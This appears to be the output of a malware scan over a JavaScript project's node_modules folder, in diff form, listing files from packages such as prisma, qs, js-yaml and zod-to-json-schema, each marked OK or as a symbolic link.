+/scan/node_modules/lucide-react/dist/umd/lucide-react.min.js: OK
+/scan/node_modules/lucide-react/dist/umd/lucide-react.js: OK
+/scan/node_modules/lucide-react/dist/umd/lucide-react.js.map: OK
+/scan/node_modules/lucide-react/dist/lucide-react.d.ts: OK
+/scan/node_modules/lucide-react/dist/cjs/lucide-react.js: OK
+/scan/node_modules/lucide-react/dist/cjs/lucide-react.js.map: OK
+/scan/node_modules/lucide-react/README.md: OK
+/scan/node_modules/lucide-react/package.json: OK
+/scan/node_modules/lucide-react/dynamicIconImports.js.map: OK
+/scan/node_modules/lucide-react/dynamicIconImports.d.ts: OK
+/scan/node_modules/lucide-react/dynamicIconImports.js: OK
+/scan/node_modules/keyv/README.md: OK
+/scan/node_modules/keyv/package.json: OK
+/scan/node_modules/keyv/src/index.js: OK
+/scan/node_modules/keyv/src/index.d.ts: OK
+/scan/node_modules/prisma/LICENSE: OK
+/scan/node_modules/prisma/prisma-client/edge.d.ts: OK
+/scan/node_modules/prisma/prisma-client/runtime/query_engine_bg.mysql.js: OK
+/scan/node_modules/prisma/prisma-client/runtime/query_engine_bg.postgresql.js: OK
+/scan/node_modules/prisma/prisma-client/runtime/binary.js: OK
+/scan/node_modules/prisma/prisma-client/runtime/library.js: OK
+/scan/node_modules/prisma/prisma-client/runtime/edge.js: OK
+/scan/node_modules/prisma/prisma-client/runtime/index-browser.js: OK
+/scan/node_modules/prisma/prisma-client/runtime/react-native.d.ts: OK
+/scan/node_modules/prisma/prisma-client/runtime/library.d.ts: OK
+/scan/node_modules/prisma/prisma-client/runtime/index-browser.d.ts: OK
+/scan/node_modules/prisma/prisma-client/runtime/query_engine_bg.sqlite.js: OK
+/scan/node_modules/prisma/prisma-client/runtime/binary.d.ts: OK
+/scan/node_modules/prisma/prisma-client/runtime/edge-esm.js: OK
+/scan/node_modules/prisma/prisma-client/runtime/react-native.js: OK
+/scan/node_modules/prisma/prisma-client/index.js: OK
+/scan/node_modules/prisma/prisma-client/edge.js: OK
+/scan/node_modules/prisma/prisma-client/README.md: OK
+/scan/node_modules/prisma/prisma-client/sql.d.ts: OK
+/scan/node_modules/prisma/prisma-client/index-browser.js: OK
+/scan/node_modules/prisma/prisma-client/package.json: OK
+/scan/node_modules/prisma/prisma-client/sql.js: OK
+/scan/node_modules/prisma/prisma-client/react-native.d.ts: OK
+/scan/node_modules/prisma/prisma-client/generator-build/index.js: OK
+/scan/node_modules/prisma/prisma-client/scripts/default-index.js: OK
+/scan/node_modules/prisma/prisma-client/scripts/postinstall.js: OK
+/scan/node_modules/prisma/prisma-client/scripts/default-index.d.ts: OK
+/scan/node_modules/prisma/prisma-client/scripts/default-deno-edge.ts: OK
+/scan/node_modules/prisma/prisma-client/scripts/postinstall.d.ts: OK
+/scan/node_modules/prisma/prisma-client/scripts/colors.js: OK
+/scan/node_modules/prisma/prisma-client/sql.mjs: OK
+/scan/node_modules/prisma/prisma-client/default.js: OK
+/scan/node_modules/prisma/prisma-client/index.d.ts: OK
+/scan/node_modules/prisma/prisma-client/default.d.ts: OK
+/scan/node_modules/prisma/prisma-client/react-native.js: OK
+/scan/node_modules/prisma/prisma-client/extension.d.ts: OK
+/scan/node_modules/prisma/prisma-client/extension.js: OK
+/scan/node_modules/prisma/README.md: OK
+/scan/node_modules/prisma/package.json: OK
+/scan/node_modules/prisma/libquery_engine-darwin-arm64.dylib.node: OK
+/scan/node_modules/prisma/scripts/preinstall-entry.js: OK
+/scan/node_modules/prisma/preinstall/index.js: OK
+/scan/node_modules/prisma/build/index.js: OK
+/scan/node_modules/prisma/build/public/icon-1024.png: OK
+/scan/node_modules/prisma/build/public/index.css: OK
+/scan/node_modules/prisma/build/public/http/splash.js: OK
+/scan/node_modules/prisma/build/public/http/databrowser.js: OK
+/scan/node_modules/prisma/build/public/assets/jetbrains-mono-latin-400-normal.80a5dc9e.woff2: OK
+/scan/node_modules/prisma/build/public/assets/inter-vietnamese-600-normal.8185dacd.woff2: OK
+/scan/node_modules/prisma/build/public/assets/object.0ba944a6.svg: OK
+/scan/node_modules/prisma/build/public/assets/settings.5ad25af2.svg: OK
+/scan/node_modules/prisma/build/public/assets/jetbrains-mono-latin-ext-400-normal.6315c53c.woff2: OK
+/scan/node_modules/prisma/build/public/assets/folder.d77b8eaf.svg: OK
+/scan/node_modules/prisma/build/public/assets/refresh.d5448ccc.svg: OK
+/scan/node_modules/prisma/build/public/assets/string.ea615a24.svg: OK
+/scan/node_modules/prisma/build/public/assets/boolean.9188b434.svg: OK
+/scan/node_modules/prisma/build/public/assets/jetbrains-mono-all-400-normal.f86807b7.woff: OK
+/scan/node_modules/prisma/build/public/assets/enum.7ec0b64c.svg: OK
+/scan/node_modules/prisma/build/public/assets/inter-greek-600-normal.e644d70f.woff2: OK
+/scan/node_modules/prisma/build/public/assets/ellipsis.a8c5a34a.svg: OK
+/scan/node_modules/prisma/build/public/assets/tick.8cbb6a93.svg: OK
+/scan/node_modules/prisma/build/public/assets/index.js: OK
+/scan/node_modules/prisma/build/public/assets/download.8d34b65a.svg: OK
+/scan/node_modules/prisma/build/public/assets/inter-greek-ext-600-normal.7f437016.woff2: OK
+/scan/node_modules/prisma/build/public/assets/plus.8fbf7ad3.svg: OK
+/scan/node_modules/prisma/build/public/assets/cross.c2610cf5.svg: OK
+/scan/node_modules/prisma/build/public/assets/hamburger.5fdadeac.svg: OK
+/scan/node_modules/prisma/build/public/assets/vendor.js: OK
+/scan/node_modules/prisma/build/public/assets/inter-cyrillic-400-normal.ac97a49e.woff2: OK
+/scan/node_modules/prisma/build/public/assets/inter-latin-400-normal.27ae72da.woff2: OK
+/scan/node_modules/prisma/build/public/assets/inter-cyrillic-ext-600-normal.bb31f197.woff2: OK
+/scan/node_modules/prisma/build/public/assets/chevron-down.24f76e3c.svg: OK
+/scan/node_modules/prisma/build/public/assets/inter-greek-400-normal.e9163df8.woff2: OK
+/scan/node_modules/prisma/build/public/assets/datetime.a3bf710a.svg: OK
+/scan/node_modules/prisma/build/public/assets/number.85ddf96b.svg: OK
+/scan/node_modules/prisma/build/public/assets/inter-cyrillic-600-normal.2c917f10.woff2: OK
+/scan/node_modules/prisma/build/public/assets/jetbrains-mono-cyrillic-400-normal.1ae57fe2.woff2: OK
+/scan/node_modules/prisma/build/public/assets/play.8811691e.svg: OK
+/scan/node_modules/prisma/build/public/assets/array.1a36c222.svg: OK
+/scan/node_modules/prisma/build/public/assets/inter-all-400-normal.4c1f8a0d.woff: OK
+/scan/node_modules/prisma/build/public/assets/search.2ed766ce.svg: OK
+/scan/node_modules/prisma/build/public/assets/tick-indeterminate.aec8a44d.svg: OK
+/scan/node_modules/prisma/build/public/assets/inter-latin-ext-600-normal.88feb9e4.woff2: OK
+/scan/node_modules/prisma/build/public/assets/inter-greek-ext-400-normal.43addcc8.woff2: OK
+/scan/node_modules/prisma/build/public/assets/inter-all-600-normal.d0a7c8a9.woff: OK
+/scan/node_modules/prisma/build/public/assets/alert.60ea9f84.svg: OK
+/scan/node_modules/prisma/build/public/assets/inter-latin-ext-400-normal.5b02c69a.woff2: OK
+/scan/node_modules/prisma/build/public/assets/inter-cyrillic-ext-400-normal.f21a6a97.woff2: OK
+/scan/node_modules/prisma/build/public/assets/inter-latin-600-normal.87d718a2.woff2: OK
+/scan/node_modules/prisma/build/public/assets/logotype.a960b169.svg: OK
+/scan/node_modules/prisma/build/public/pages/http/splash.html: OK
+/scan/node_modules/prisma/build/public/pages/http/databrowser.html: OK
+/scan/node_modules/prisma/build/public/favicon.svg: OK
+/scan/node_modules/prisma/build/xdg-open: OK
+/scan/node_modules/prisma/build/prisma_schema_build_bg.wasm: OK
+/scan/node_modules/prisma/build/child.js: OK
+/scan/node_modules/arg/LICENSE.md: OK
+/scan/node_modules/arg/index.js: OK
+/scan/node_modules/arg/README.md: OK
+/scan/node_modules/arg/package.json: OK
+/scan/node_modules/arg/index.d.ts: OK
+/scan/node_modules/restructure/LICENSE: OK
+/scan/node_modules/restructure/test/Number.js: OK
+/scan/node_modules/restructure/test/Boolean.js: OK
+/scan/node_modules/restructure/test/LazyArray.js: OK
+/scan/node_modules/restructure/test/Optional.js: OK
+/scan/node_modules/restructure/test/VersionedStruct.js: OK
+/scan/node_modules/restructure/test/EncodeStream.js: OK
+/scan/node_modules/restructure/test/Array.js: OK
+/scan/node_modules/restructure/test/String.js: OK
+/scan/node_modules/restructure/test/Enum.js: OK
+/scan/node_modules/restructure/test/Pointer.js: OK
+/scan/node_modules/restructure/test/Reserved.js: OK
+/scan/node_modules/restructure/test/Struct.js: OK
+/scan/node_modules/restructure/test/Bitfield.js: OK
+/scan/node_modules/restructure/test/DecodeStream.js: OK
+/scan/node_modules/restructure/test/Buffer.js: OK
+/scan/node_modules/restructure/dist/main.cjs.map: OK
+/scan/node_modules/restructure/dist/main.cjs: OK
+/scan/node_modules/restructure/index.js: OK
+/scan/node_modules/restructure/README.md: OK
+/scan/node_modules/restructure/package.json: OK
+/scan/node_modules/restructure/src/Number.js: OK
+/scan/node_modules/restructure/src/Boolean.js: OK
+/scan/node_modules/restructure/src/LazyArray.js: OK
+/scan/node_modules/restructure/src/Optional.js: OK
+/scan/node_modules/restructure/src/VersionedStruct.js: OK
+/scan/node_modules/restructure/src/EncodeStream.js: OK
+/scan/node_modules/restructure/src/Array.js: OK
+/scan/node_modules/restructure/src/String.js: OK
+/scan/node_modules/restructure/src/Enum.js: OK
+/scan/node_modules/restructure/src/Pointer.js: OK
+/scan/node_modules/restructure/src/Reserved.js: OK
+/scan/node_modules/restructure/src/Struct.js: OK
+/scan/node_modules/restructure/src/Bitfield.js: OK
+/scan/node_modules/restructure/src/Base.js: OK
+/scan/node_modules/restructure/src/DecodeStream.js: OK
+/scan/node_modules/restructure/src/utils.js: OK
+/scan/node_modules/restructure/src/Buffer.js: OK
+/scan/node_modules/zod-to-json-schema/LICENSE: OK
+/scan/node_modules/zod-to-json-schema/createIndex.ts: OK
+/scan/node_modules/zod-to-json-schema/postesm.ts: OK
+/scan/node_modules/zod-to-json-schema/changelog.md: OK
+/scan/node_modules/zod-to-json-schema/dist/types/zodToJsonSchema.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/nullable.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/readonly.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/nativeEnum.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/date.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/set.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/boolean.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/record.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/intersection.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/array.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/enum.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/literal.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/effects.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/number.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/string.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/object.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/branded.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/catch.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/unknown.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/null.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/promise.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/undefined.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/tuple.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/optional.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/never.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/default.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/union.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/pipeline.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/map.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/any.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parsers/bigint.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parseTypes.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/parseDef.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/Options.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/Refs.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/errorMessages.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/getRelativePath.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/index.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/types/selectParser.d.ts: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/errorMessages.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/never.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/number.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/null.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/nativeEnum.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/boolean.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/bigint.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/tuple.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/promise.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/effects.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/object.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/branded.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/literal.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/nullable.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/readonly.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/optional.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/set.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/array.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/any.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/intersection.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/string.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/enum.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/catch.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/union.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/unknown.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/date.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/default.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/map.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/record.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/undefined.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parsers/pipeline.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/zodToJsonSchema.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/Options.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/getRelativePath.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/selectParser.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/index.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parseDef.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/package.json: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/parseTypes.js: OK
+/scan/node_modules/zod-to-json-schema/dist/esm/Refs.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/errorMessages.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/never.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/number.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/null.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/nativeEnum.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/boolean.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/bigint.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/tuple.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/promise.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/effects.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/object.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/branded.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/literal.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/nullable.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/readonly.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/optional.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/set.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/array.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/any.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/intersection.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/string.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/enum.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/catch.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/union.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/unknown.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/date.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/default.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/map.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/record.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/undefined.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parsers/pipeline.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/zodToJsonSchema.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/Options.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/getRelativePath.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/selectParser.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/index.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parseDef.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/package.json: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/parseTypes.js: OK
+/scan/node_modules/zod-to-json-schema/dist/cjs/Refs.js: OK
+/scan/node_modules/zod-to-json-schema/postcjs.ts: OK
+/scan/node_modules/zod-to-json-schema/README.md: OK
+/scan/node_modules/zod-to-json-schema/.prettierrc.json: OK
+/scan/node_modules/zod-to-json-schema/package.json: OK
+/scan/node_modules/zod-to-json-schema/contributing.md: OK
+/scan/node_modules/zod-to-json-schema/.github/FUNDING.yml: OK
+/scan/node_modules/zod-to-json-schema/.github/CR_logotype-full-color.png: OK
+/scan/node_modules/thirty-two/.npmignore: OK
+/scan/node_modules/thirty-two/Makefile: OK
+/scan/node_modules/thirty-two/spec/thirty-two_spec.js: OK
+/scan/node_modules/thirty-two/index.js: OK
+/scan/node_modules/thirty-two/README.md: OK
+/scan/node_modules/thirty-two/package.json: OK
+/scan/node_modules/thirty-two/lib/thirty-two/index.js: OK
+/scan/node_modules/thirty-two/lib/thirty-two/thirty-two.js: OK
+/scan/node_modules/thirty-two/LICENSE.txt: OK
+/scan/node_modules/@ungap/structured-clone/LICENSE: OK
+/scan/node_modules/@ungap/structured-clone/esm/types.js: OK
+/scan/node_modules/@ungap/structured-clone/esm/serialize.js: OK
+/scan/node_modules/@ungap/structured-clone/esm/index.js: OK
+/scan/node_modules/@ungap/structured-clone/esm/deserialize.js: OK
+/scan/node_modules/@ungap/structured-clone/esm/json.js: OK
+/scan/node_modules/@ungap/structured-clone/README.md: OK
+/scan/node_modules/@ungap/structured-clone/structured-json.js: OK
+/scan/node_modules/@ungap/structured-clone/package.json: OK
+/scan/node_modules/@ungap/structured-clone/.github/workflows/node.js.yml: OK
+/scan/node_modules/@ungap/structured-clone/cjs/types.js: OK
+/scan/node_modules/@ungap/structured-clone/cjs/serialize.js: OK
+/scan/node_modules/@ungap/structured-clone/cjs/index.js: OK
+/scan/node_modules/@ungap/structured-clone/cjs/deserialize.js: OK
+/scan/node_modules/@ungap/structured-clone/cjs/package.json: OK
+/scan/node_modules/@ungap/structured-clone/cjs/json.js: OK
+/scan/node_modules/qs/LICENSE.md: OK
+/scan/node_modules/qs/test/stringify.js: OK
+/scan/node_modules/qs/test/parse.js: OK
+/scan/node_modules/qs/test/utils.js: OK
+/scan/node_modules/qs/test/empty-keys-cases.js: OK
+/scan/node_modules/qs/CHANGELOG.md: OK
+/scan/node_modules/qs/dist/qs.js: OK
+/scan/node_modules/qs/.editorconfig: OK
+/scan/node_modules/qs/README.md: OK
+/scan/node_modules/qs/package.json: OK
+/scan/node_modules/qs/.github/FUNDING.yml: OK
+/scan/node_modules/qs/.github/THREAT_MODEL.md: OK
+/scan/node_modules/qs/.github/SECURITY.md: OK
+/scan/node_modules/qs/lib/stringify.js: OK
+/scan/node_modules/qs/lib/index.js: OK
+/scan/node_modules/qs/lib/parse.js: OK
+/scan/node_modules/qs/lib/utils.js: OK
+/scan/node_modules/qs/lib/formats.js: OK
+/scan/node_modules/qs/.nycrc: OK
+/scan/node_modules/qs/eslint.config.mjs: OK
+/scan/node_modules/@tsconfig/node10/LICENSE: OK
+/scan/node_modules/@tsconfig/node10/README.md: OK
+/scan/node_modules/@tsconfig/node10/package.json: OK
+/scan/node_modules/@tsconfig/node10/tsconfig.json: OK
+/scan/node_modules/@tsconfig/node16/LICENSE: OK
+/scan/node_modules/@tsconfig/node16/README.md: OK
+/scan/node_modules/@tsconfig/node16/package.json: OK
+/scan/node_modules/@tsconfig/node16/tsconfig.json: OK
+/scan/node_modules/@tsconfig/node14/LICENSE: OK
+/scan/node_modules/@tsconfig/node14/README.md: OK
+/scan/node_modules/@tsconfig/node14/package.json: OK
+/scan/node_modules/@tsconfig/node14/tsconfig.json: OK
+/scan/node_modules/@tsconfig/node12/LICENSE: OK
+/scan/node_modules/@tsconfig/node12/README.md: OK
+/scan/node_modules/@tsconfig/node12/package.json: OK
+/scan/node_modules/@tsconfig/node12/tsconfig.json: OK
+/scan/node_modules/js-yaml/LICENSE: OK
+/scan/node_modules/js-yaml/bin/js-yaml.js: OK
+/scan/node_modules/js-yaml/dist/js-yaml.min.js: OK
+/scan/node_modules/js-yaml/dist/js-yaml.js: OK
+/scan/node_modules/js-yaml/dist/js-yaml.mjs: OK
+/scan/node_modules/js-yaml/index.js: OK
+/scan/node_modules/js-yaml/README.md: OK
+/scan/node_modules/js-yaml/package.json: OK
+/scan/node_modules/js-yaml/lib/dumper.js: OK
+/scan/node_modules/js-yaml/lib/snippet.js: OK
+/scan/node_modules/js-yaml/lib/type.js: OK
+/scan/node_modules/js-yaml/lib/exception.js: OK
+/scan/node_modules/js-yaml/lib/schema/core.js: OK
+/scan/node_modules/js-yaml/lib/schema/json.js: OK
+/scan/node_modules/js-yaml/lib/schema/default.js: OK
+/scan/node_modules/js-yaml/lib/schema/failsafe.js: OK
+/scan/node_modules/js-yaml/lib/type/pairs.js: OK
+/scan/node_modules/js-yaml/lib/type/bool.js: OK
+/scan/node_modules/js-yaml/lib/type/null.js: OK
+/scan/node_modules/js-yaml/lib/type/float.js: OK
+/scan/node_modules/js-yaml/lib/type/merge.js: OK
+/scan/node_modules/js-yaml/lib/type/binary.js: OK
+/scan/node_modules/js-yaml/lib/type/str.js: OK
+/scan/node_modules/js-yaml/lib/type/omap.js: OK
+/scan/node_modules/js-yaml/lib/type/set.js: OK
+/scan/node_modules/js-yaml/lib/type/timestamp.js: OK
+/scan/node_modules/js-yaml/lib/type/seq.js: OK
+/scan/node_modules/js-yaml/lib/type/int.js: OK
+/scan/node_modules/js-yaml/lib/type/map.js: OK
+/scan/node_modules/js-yaml/lib/schema.js: OK
+/scan/node_modules/js-yaml/lib/common.js: OK
+/scan/node_modules/js-yaml/lib/loader.js: OK
+/scan/node_modules/eslint-visitor-keys/LICENSE: OK
+/scan/node_modules/eslint-visitor-keys/dist/eslint-visitor-keys.d.cts: OK
+/scan/node_modules/eslint-visitor-keys/dist/visitor-keys.d.ts: OK
+/scan/node_modules/eslint-visitor-keys/dist/eslint-visitor-keys.cjs: OK
+/scan/node_modules/eslint-visitor-keys/dist/index.d.ts: OK
+/scan/node_modules/eslint-visitor-keys/README.md: OK
+/scan/node_modules/eslint-visitor-keys/package.json: OK
+/scan/node_modules/eslint-visitor-keys/lib/visitor-keys.js: OK
+/scan/node_modules/eslint-visitor-keys/lib/index.js: OK
+/scan/node_modules/whatwg-url/README.md: OK
+/scan/node_modules/whatwg-url/package.json: OK
+/scan/node_modules/whatwg-url/lib/URL-impl.js: OK
+/scan/node_modules/whatwg-url/lib/utils.js: OK
+/scan/node_modules/whatwg-url/lib/url-state-machine.js: OK
+/scan/node_modules/whatwg-url/lib/URL.js: OK
+/scan/node_modules/whatwg-url/lib/public-api.js: OK
+/scan/node_modules/whatwg-url/LICENSE.txt: OK
+/scan/node_modules/jackspeak/LICENSE.md: OK
+/scan/node_modules/jackspeak/dist/esm/parse-args.d.ts.map: OK
+/scan/node_modules/jackspeak/dist/esm/index.js: OK
+/scan/node_modules/jackspeak/dist/esm/parse-args.js.map: OK
+/scan/node_modules/jackspeak/dist/esm/parse-args.js: OK
+/scan/node_modules/jackspeak/dist/esm/package.json: OK
+/scan/node_modules/jackspeak/dist/esm/parse-args.d.ts: OK
+/scan/node_modules/jackspeak/dist/esm/index.js.map: OK
+/scan/node_modules/jackspeak/dist/esm/index.d.ts: OK
+/scan/node_modules/jackspeak/dist/esm/index.d.ts.map: OK
+/scan/node_modules/jackspeak/dist/commonjs/parse-args-cjs.d.cts.map: OK
+/scan/node_modules/jackspeak/dist/commonjs/index.js: OK
+/scan/node_modules/jackspeak/dist/commonjs/parse-args.js: OK
+/scan/node_modules/jackspeak/dist/commonjs/package.json: OK
+/scan/node_modules/jackspeak/dist/commonjs/parse-args.d.ts: OK
+/scan/node_modules/jackspeak/dist/commonjs/index.js.map: OK
+/scan/node_modules/jackspeak/dist/commonjs/parse-args-cjs.cjs.map: OK
+/scan/node_modules/jackspeak/dist/commonjs/index.d.ts: OK
+/scan/node_modules/jackspeak/dist/commonjs/index.d.ts.map: OK
+/scan/node_modules/jackspeak/README.md: OK
+/scan/node_modules/jackspeak/package.json: OK
+/scan/node_modules/ts-node-dev/LICENSE: OK
+/scan/node_modules/ts-node-dev/node_modules/.bin/rimraf: Symbolic link
+/scan/node_modules/ts-node-dev/node_modules/.bin/mkdirp: Symbolic link
+/scan/node_modules/ts-node-dev/node_modules/rimraf/LICENSE: OK
+/scan/node_modules/ts-node-dev/node_modules/rimraf/bin.js: OK
+/scan/node_modules/ts-node-dev/node_modules/rimraf/rimraf.js: OK
+/scan/node_modules/ts-node-dev/node_modules/rimraf/README.md: OK
+/scan/node_modules/ts-node-dev/node_modules/rimraf/package.json: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/LICENSE: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/bin/cmd.js: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/CHANGELOG.md: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/index.js: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/readme.markdown: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/package.json: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/lib/mkdirp-manual.js: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/lib/mkdirp-native.js: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/lib/opts-arg.js: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/lib/find-made.js: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/lib/path-arg.js: OK
+/scan/node_modules/ts-node-dev/node_modules/mkdirp/lib/use-native.js: OK
+/scan/node_modules/ts-node-dev/README.md: OK
+/scan/node_modules/ts-node-dev/package.json: OK
+/scan/node_modules/ts-node-dev/icons/node_info.png: OK
+/scan/node_modules/ts-node-dev/icons/node_error.png: OK
+/scan/node_modules/ts-node-dev/lib/dedupe.js: OK
+/scan/node_modules/ts-node-dev/lib/child-require-hook.js: OK
+/scan/node_modules/ts-node-dev/lib/ipc.js: OK
+/scan/node_modules/ts-node-dev/lib/notify.js: OK
+/scan/node_modules/ts-node-dev/lib/hook.js: OK
+/scan/node_modules/ts-node-dev/lib/bin.js: OK
+/scan/node_modules/ts-node-dev/lib/cfg.js: OK
+/scan/node_modules/ts-node-dev/lib/get-cwd.js: OK
+/scan/node_modules/ts-node-dev/lib/log.js: OK
+/scan/node_modules/ts-node-dev/lib/index.js: OK
+/scan/node_modules/ts-node-dev/lib/compiler.js: OK
+/scan/node_modules/ts-node-dev/lib/get-compiled-path.js: OK
+/scan/node_modules/ts-node-dev/lib/wrap.js: OK
